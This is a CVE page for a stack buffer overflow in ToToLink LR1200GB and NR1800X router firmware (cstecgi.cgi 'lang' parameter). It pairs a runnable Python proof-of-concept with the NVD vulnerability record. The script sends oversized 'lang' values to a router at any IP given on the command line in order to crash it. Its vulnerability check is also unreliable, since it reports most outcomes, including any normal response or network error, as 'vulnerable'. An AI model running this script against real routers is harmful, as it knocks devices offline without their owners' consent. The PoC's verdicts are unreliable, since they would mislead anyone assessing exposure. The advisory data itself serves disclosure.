CVE-2025-60684

import requests import sys # CVE-2025-60684 PoC - ToToLink Router cstecgi.cgi Stack Buffer Overflow # Target: ToToLink LR1200GB / NR1800X # Vulnerability: Stack buffer overflow via lang parameter in cstecgi.cgi def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2025-60684 """ # Generate payload with excessive length to trigger overflow # Adjust length based on buffer size (typically 256-512 bytes) payload = "A" * 600 url = f"http://{target_ip}:{target_port}/cstecgi.cgi" params = {"lang": payload} try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") # Send request without waiting for response (may cause crash) response = requests.get(url, params=params, timeout=5) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[!] Request timeout - target may have crashed (vulnerable)") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down or vulnerable") return True except Exception as e: print(f"[!] Error: {str(e)}") return False def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit function - demonstrates buffer overflow condition """ # Construct overflow payload # Note: Actual exploitation requires ROP chain and proper return address overflow_length = 1024 payload = "lang=" + "B" * overflow_length url = f"http://{target_ip}:{target_port}/cstecgi.cgi" print(f"[*] Attempting buffer overflow with {overflow_length} bytes") try: requests.get(url, params=payload, timeout=3) except: print("[!] Target crashed or unreachable - vulnerability confirmed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-60684-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 check_vulnerability(target, port)

{"cve": {"id": "CVE-2025-60684", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:52.337", "lastModified": "2025-11-24T15:33:48.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow vulnerability exists in the ToToLink LR1200GB (V9.1.0u.6619_B20230130) and NR1800X (V9.1.0u.6681_B20230703) Router firmware within the cstecgi.cgi binary (sub_42F32C function). The web interface reads the \"lang\" parameter and constructs Help URL strings using sprintf() into fixed-size stack buffers without proper length validation. Maliciously crafted input can overflow these buffers, potentially leading to arbitrary code execution or memory corruption, without requiring authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr1200gb_firmware:9.1.0u.6619_b20230130:*:*:*:*:*:*:*", "matchCriteriaId": "00F36DE9-D043-4C8B-9EF9-8DA669589E85"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr1200gb:-:*:*:*:*:*:*:*", "matchCriteriaId": "8442849E-5B06-41A1-8DA8-827FBD7A34E5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:nr1800x_firmware:9.1.0u.6681_b20230703:*:*:*:*:*:*:*", "matchCriteriaId": "7F9DCAA5-1EC6-44A1-9606-B6FBF29DEC65"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:nr1800x:-:*:*:*:*:*:*:*", "matchCriteriaId": "B4D2D0E8-2678-4238-8229-83450ECA1153"}]}]}], "references": [{"url": "http://totolink.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-LR1200GB/CVE-2025-60684.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}